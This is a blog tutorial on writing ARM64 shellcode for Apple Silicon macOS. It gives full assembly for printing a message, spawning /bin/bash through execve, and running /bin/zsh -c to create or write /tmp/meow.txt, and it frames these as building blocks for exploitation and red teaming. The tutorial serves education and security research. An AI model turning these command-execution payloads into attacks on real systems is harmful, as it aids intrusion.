MacOS hacking part 6: Assebmly intro on ARM(M1). Simple NASM (M1) examples
﷽
Hello, cybersecurity enthusiasts and white hackers!
In this article, I will walk you through an assembly code that writes a simple message and run shell on a macOS system using M1 ARM64
architecture. We will go through the code step by step, explaining each part in simple terms.
practical example
First example is pretty simple: macOS ARM64 shellcode for “Meow\n” to stdout. Start from setting up the write syscall:
mov x0, #1
The logic is x0 = 1
, this register is used for the first syscall argument: the file descriptor. Here, 1
is stdout.
adr x1,msg
x1 = address of msg
. ARM64 doesn’t use lea
like x86_64
, but adr
works: it puts the address of the msg
string into x1
(the second syscall argument).
Then:
mov x2,#5
This is just: x2 = 5
. This is the length of the message (“Meow\n” is 5 bytes).
At the next step, we need a calling the kernel (write syscall). Something like this:
movz x16, #0x4 ; x16 = 0x00000004
movk x16, #0x2000, lsl #16 ; x16 = 0x00200004
svc #0x80 ; make syscall
As you can see, from comments: x16 = syscall number
. On macOS ARM64, syscalls use a big number: 0x2000004
for write. movz
loads the low 16
bits, then movk
fills in the higher bits. svc #0x80
triggers the kernel: perform the syscall.
Then, finally, exit cleanly, like this:
; exit(0)
mov x0, #0
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
x0 = 0
- exit code, then x16 = 0x2000001
. That’s the exit syscall. svc #0x80
again: make the syscall.
The data:
; --- data ---
.align 2
msg:
.ascii "Meow\n"
Just the message, raw in the binary.
What is the difference from x86_64
(Intel) shellcode on macOS?
First of all, syscall calling convention! For example, arguments: x0,x1,x2....
. Syscall numbers are much bigger on macOS ARM64 (e.g., 0x2000004
for write). Also as I wrote before, x86_64
uses lea
to get addresses, but ARM uses adr
or adrp/add
combo.
In general, for shellcoding on ARM64: You can’t just mov x16, #0x2000004
- it doesn’t fit! What is the solution? We build it with movz
and movk
.
Shellcoding on ARM64 means learning new tricks and register names - but conceptually, it’s still “put your arguments in order, put your syscall number in the magic register, trap to the kernel, profit.”
So full source code looks like this meow.s
:
; macOS ARM64 shellcode: write "Meow\n" to stdout
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html
.global _start
.section __TEXT,__text
_start:
; write(1, buf, 5)
mov x0, #1 ; fd = 1 (stdout)
adr x1, msg ; buffer pointer
mov x2, #5 ; length = 5
movz x16, #0x4 ; x16 = 0x00000004
movk x16, #0x2000, lsl #16 ; x16 = 0x00200004
svc #0x80 ; make syscall
; exit(0)
mov x0, #0
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
; --- data ---
.align 2
msg:
.ascii "Meow\n"
demo 1
Let’s go to see first example in action. Compile it:
as -arch arm64 meow.s -o meow.o
Then, try to link:
ld -arch arm64 -macosx_version_min 14.0 -e _start -o meow meow.o
But, we have an error:
So, we need run another command. First of all check this:
xcrun --sdk macosx --show-sdk-path
As you can see, in my case (MacBook Air on M1 with Mac OS X 15
), we have /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk
So, update our command for linking:
ld -arch arm64 -e _start -o meow meow.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
As you can see, successfully linked, then run:
./meow
Everything is worked perfectly as expected! =^..^=
practical example 2
Let’s break down macOS ARM64 shellcode for running /bin/bash
(works the same for /bin/zsh
- we need just change the string).
First of all, we need to prepare the /bin/bash
string:
adrp x1, binzsh@page
add x1, x1, binzsh@pageoff
adrp
and add
load the address of the string /bin/bash
into x1
. On ARM64, you can’t just lea
like x86
. You need this 2
-step trick for PC-relative addressing.
Then, prepare argv
array ([ "/bin/bash", NULL ]
) like this:
; prepare argv ["/bin/bash", NULL] on the stack
sub sp, sp, 16
str x1, [sp]
mov x2, #0
str x2, [sp, #8]
sp
points to the start of our new stack array, argv[0]
is pointer to the path, argv[1]
is NULL
.
At the next step set up registers for execve
, in this case x0
- filename, x1
- argv
array and x2
- envp
(environment):
mov x0, x1 ; path
mov x1, sp ; argv
mov x2, xzr ; envp
Syscall execve
:
; syscall execve (0x200003b)
movz x16, #0x3b
movk x16, #0x2000, lsl #16
svc #0x80
Here, x16
= syscall number for execve
(0x200003b
on macOS/ARM64).
Finally, if execve
fails, just exit with code 1
:
; fallback exit(1)
mov x0, #1
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
Also add null
-terminated string for the shell path in data section.
Full source code for this example looks like this hack.s
:
; macOS ARM64 shellcode: run "/bin/bash"
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html
.global _start
.section __TEXT,__text
_start:
; prepare string "/bin/bash" on the stack
adrp x1, binzsh@page
add x1, x1, binzsh@pageoff
; prepare argv ["/bin/bash", NULL] on the stack
sub sp, sp, 16
str x1, [sp]
mov x2, #0
str x2, [sp, #8]
mov x0, x1 ; path
mov x1, sp ; argv
mov x2, xzr ; envp
; syscall execve (0x200003b)
movz x16, #0x3b
movk x16, #0x2000, lsl #16
svc #0x80
; fallback exit(1)
mov x0, #1
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
.align 2
binzsh:
.asciz "/bin/bash"
demo 2
Let’s go to see in action this second example. Compile it:
as -arch arm64 hack.s -o hack.o
Then link it:
ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
As you can see, successfully linked, then run:
./hack
As you can see, everything is worked perfectly! Shell spawned! =^..^=
practical example 3
Let’s create code an ARM64 assembly shellcode for macOS that launches /bin/zsh
with the -c
argument to execute some command, for example: touch /tmp/meow.txt
.
The logic is pretty simple. From the previous example we know that execve
expects three parameters, char *fname
- the full path to the executable (name of the command to executed), char *argv[]
- a pointer to an array of strings with the command-line arguments (ending with a null
pointer), and char *envp[]
- a pointer to an array of environment variable strings, which in our case we just set to NULL.
According to the calling convention, the three arguments need to be placed in registers X0
, X1
, and X2
. Since X1
should hold a pointer to an array of string pointers (i.e., char pointers), we need to arrange these addresses consecutively in memory and set X1
to point to the start of that area. To do this, we push the addresses of fname (which is arg0
), arg1
, and arg2
onto the stack, followed by a null pointer (8
zero bytes) for proper alignment. In this example, the resulting memory layout will look like this:
In other words, we first load the path to the executable (/bin/zsh
) and the arguments (-c
and the command string) into memory. Next, we set up an argv
array on the stack, where each entry is a pointer to a string (fname
, arg1
, and arg2
), followed by a NULL
pointer for termination. According to the ARM64
macOS calling convention, we place the path, the address of our argv
array, and a NULL
pointer for environment variables into the X0
, X1
, and X2
registers, respectively.
We then invoke the execve system call using the appropriate syscall number for macOS ARM64
(0x200003b
). If, for some reason, execve
fails, we call exit(1)
to terminate the process gracefully.
Full source code looks like this (hack2.s
):
; macOS ARM64: execve("/bin/zsh", ["-c", "touch /tmp/meow.txt"], NULL)
.global _start
.section __TEXT,__text
.align 2
_start:
; set up pointer to "/bin/zsh"
adrp x0, fname@page ; x0 = page address of fname
add x0, x0, fname@pageoff ; x0 = pointer to "/bin/zsh"
; prepare stack space for argv[] (three pointers: fname, arg1, arg2, NULL)
sub sp, sp, #32 ; allocate 4 * 8 bytes (32 bytes) on stack
; set up argv[0] = pointer to "/bin/zsh"
adrp x1, fname@page
add x1, x1, fname@pageoff
str x1, [sp, #0]
; set up argv[1] = pointer to "-c"
adrp x2, arg1@page
add x2, x2, arg1@pageoff
str x2, [sp, #8]
; set up argv[2] = pointer to "touch /tmp/meow.txt"
adrp x3, arg2@page
add x3, x3, arg2@pageoff
str x3, [sp, #16]
; set up argv[3] = NULL
mov x4, xzr ; x4 = 0
str x4, [sp, #24]
; x0: path
; x1: argv (pointer to argv[0])
; x2: envp (NULL)
mov x1, sp ; x1 = pointer to argv[]
mov x2, xzr ; x2 = NULL
; prepare execve syscall number for macOS (0x200003b)
movz x16, #0x3b
movk x16, #0x2000, lsl #16
; syscall: execve("/bin/zsh", argv, NULL)
svc #0x80
; if execve fails, exit(1)
mov x0, #1
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
; ---- data section
.align 2
fname:
.asciz "/bin/zsh"
.align 2
arg1:
.asciz "-c"
.align 2
arg2:
.asciz "touch /tmp/meow.txt"
This is a classic example of process spawning shellcode that demonstrates how to execute system commands from assembly on Apple Silicon (M1/M2) Macs.
demo 3
Let’s go to see everything in action. Compile it:
as -arch arm64 hack2.s -o hack2.o
Then, linking this example:
ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
Before run it, check /tmp/
dir:
ls -lht /tmp/
Then, run:
./hack2
and check again:
As you can see, everything is worked perfectly again! =^..^=
practical example 4
What about write something to /tmp/meow.txt
? For this just use this full source code hack3.s
:
; macOS ARM64: execve("/bin/zsh", ["-c", 'echo "Meow" > /tmp/meow.txt'], NULL)
.global _start
.section __TEXT,__text
.align 2
_start:
; x0 = path to "/bin/zsh"
adrp x0, fname@page
add x0, x0, fname@pageoff
; prepare stack space for argv[] (4 pointers: fname, arg1, arg2, NULL)
sub sp, sp, #32
; argv[0] = "/bin/zsh"
adrp x1, fname@page
add x1, x1, fname@pageoff
str x1, [sp, #0]
; argv[1] = "-c"
adrp x2, arg1@page
add x2, x2, arg1@pageoff
str x2, [sp, #8]
; argv[2] = "echo \"Meow\" > /tmp/meow.txt"
adrp x3, arg2@page
add x3, x3, arg2@pageoff
str x3, [sp, #16]
; argv[3] = NULL
mov x4, xzr
str x4, [sp, #24]
; x1 = argv[]
mov x1, sp
; x2 = envp = NULL
mov x2, xzr
; syscall number for execve: 0x200003b (macOS ARM64)
movz x16, #0x3b
movk x16, #0x2000, lsl #16
svc #0x80
; if execve fails, exit(1)
mov x0, #1
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
;; --- data section ---
.align 2
fname:
.asciz "/bin/zsh"
.align 2
arg1:
.asciz "-c"
.align 2
arg2:
.asciz "echo \"Meow\" > /tmp/meow.txt"
The only difference between this version and the previous one is the command we pass to /bin/zsh
as the third argument in argv[2]
. Instead of just touching a file (creating an empty file with touch /tmp/meow.txt
), we are now writing a string into the file using the shell’s built-in echo
.
The main logic remains unchanged. We still set up the path to /bin/zsh
in x0
, we still prepare the argv
array on the stack, then we point x1
to the stack and set x2
(the environment) to NULL
. Finally, we call the execve
syscall using the macOS ARM64.
This demonstrates how we can leverage shell features (like output redirection) within our ARM64
shellcode to perform more complex actions using a single system call.
demo 4
Let’s go to see this in action. Compile it:
as -arch arm64 hack3.s -o hack3.o
Then, linking this example:
ld -arch arm64 -e _start -o hack3 hack3.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
Then, run and check file content:
./hack3
cat /tmp/meow.txt
As you can see, everything is worked perfectly: Meow
string is written to our file! =^..^=
attention!
But we have some caveats. Once we get to writing shellcode, we want to avoid any null
-bytes. For this reason I will show you source code for this examples that does not contain any null
-bytes in the next few blog posts.
conclusion
The ARM64
assembly shellcode for macOS
is a minimalistic and position-independent routine that interacts directly with the kernel via system calls. It places all required arguments in the appropriate registers and encodes syscall numbers using the specific ARM64
idiom with movz
and movk
instructions, as required by macOS
conventions.
For data such as command-line strings or output text, it leverages either the stack or inline data within the binary, carefully managing addresses using relative instructions like adr or adrp/add
. The code constructs necessary argument arrays for syscalls like execve
manually, respecting calling conventions for argv
and envp
pointers.
The entire payload is crafted to avoid dependencies on any external libraries or absolute addresses, making it highly portable and practical for use in real-world exploitation or red teaming scenarios.
I hope this post is useful for malware researchers, macOS/Apple
security researchers, ASM
programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine